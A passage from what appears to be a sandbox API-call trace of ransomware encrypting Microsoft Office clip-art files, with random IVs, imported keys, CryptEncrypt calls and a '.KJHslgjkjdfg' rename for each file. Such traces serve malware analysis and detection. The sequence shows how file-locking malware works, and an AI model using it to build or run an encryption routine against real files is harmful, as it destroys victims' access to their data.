ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1 [0202.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.310] GetProcessHeap () returned 0x2ef0000 [0202.310] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.310] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.310] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.312] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.312] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.313] GetProcessHeap () returned 0x2ef0000 [0202.313] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.313] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.313] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.313] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.313] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.313] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.313] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.313] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.313] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.313] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.313] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe78, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe78, lpOverlapped=0x0) returned 1 [0202.314] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe80, dwBufLen=0xe80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe80) returned 1 [0202.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.314] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe80, lpOverlapped=0x0) returned 1 [0202.314] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.314] SetEndOfFile (hFile=0x130) returned 1 [0202.317] GetProcessHeap () returned 0x2ef0000 [0202.317] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.317] GetProcessHeap () returned 0x2ef0000 [0202.317] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.kjhslgjkjdfg")) returned 1 [0202.319] CloseHandle (hObject=0x130) returned 1 [0202.319] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1 [0202.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.320] GetProcessHeap () returned 0x2ef0000 [0202.320] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.320] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.320] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.320] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.320] GetProcessHeap () returned 0x2ef0000 [0202.320] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.320] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.320] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.320] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.322] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.322] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.323] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.323] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.323] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.323] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.323] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbc0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbc0, lpOverlapped=0x0) returned 1 [0202.323] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbc0) returned 1 [0202.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.323] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbc0, lpOverlapped=0x0) returned 1 [0202.323] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.323] SetEndOfFile (hFile=0x130) returned 1 [0202.326] GetProcessHeap () returned 0x2ef0000 [0202.326] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.326] GetProcessHeap () returned 0x2ef0000 [0202.326] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.kjhslgjkjdfg")) returned 1 [0202.328] CloseHandle (hObject=0x130) returned 1 [0202.329] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1 [0202.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.330] GetProcessHeap () returned 0x2ef0000 [0202.330] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.330] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.330] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.330] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.330] GetProcessHeap () returned 0x2ef0000 [0202.330] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.330] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.330] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.330] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.332] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.332] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.332] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.332] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.332] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.332] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.332] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4e80, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4e80, lpOverlapped=0x0) returned 1 [0202.334] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e80, dwBufLen=0x4e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e80) returned 1 [0202.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.334] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4e80, lpOverlapped=0x0) returned 1 [0202.334] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.334] SetEndOfFile (hFile=0x130) returned 1 [0202.336] GetProcessHeap () returned 0x2ef0000 [0202.336] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.336] GetProcessHeap () returned 0x2ef0000 [0202.336] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.kjhslgjkjdfg")) returned 1 [0202.338] CloseHandle (hObject=0x130) returned 1 [0202.338] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1 [0202.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.339] GetProcessHeap () returned 0x2ef0000 [0202.339] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.339] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.339] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.345] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.345] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.345] GetProcessHeap () returned 0x2ef0000 [0202.345] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.345] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.345] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.345] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.345] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.345] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.345] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.345] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.346] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.346] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.346] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8f0c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8f0c, lpOverlapped=0x0) returned 1 [0202.365] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8f10, dwBufLen=0x8f10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8f10) returned 1 [0202.366] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.366] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8f10, lpOverlapped=0x0) returned 1 [0202.366] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.366] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.366] SetEndOfFile (hFile=0x130) returned 1 [0202.369] GetProcessHeap () returned 0x2ef0000 [0202.369] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.369] GetProcessHeap () returned 0x2ef0000 [0202.369] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.kjhslgjkjdfg")) returned 1 [0202.371] CloseHandle (hObject=0x130) returned 1 [0202.371] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1 [0202.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.373] GetProcessHeap () returned 0x2ef0000 [0202.373] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.373] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.373] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.373] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.373] GetProcessHeap () returned 0x2ef0000 [0202.373] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.373] CryptEncrypt (in: 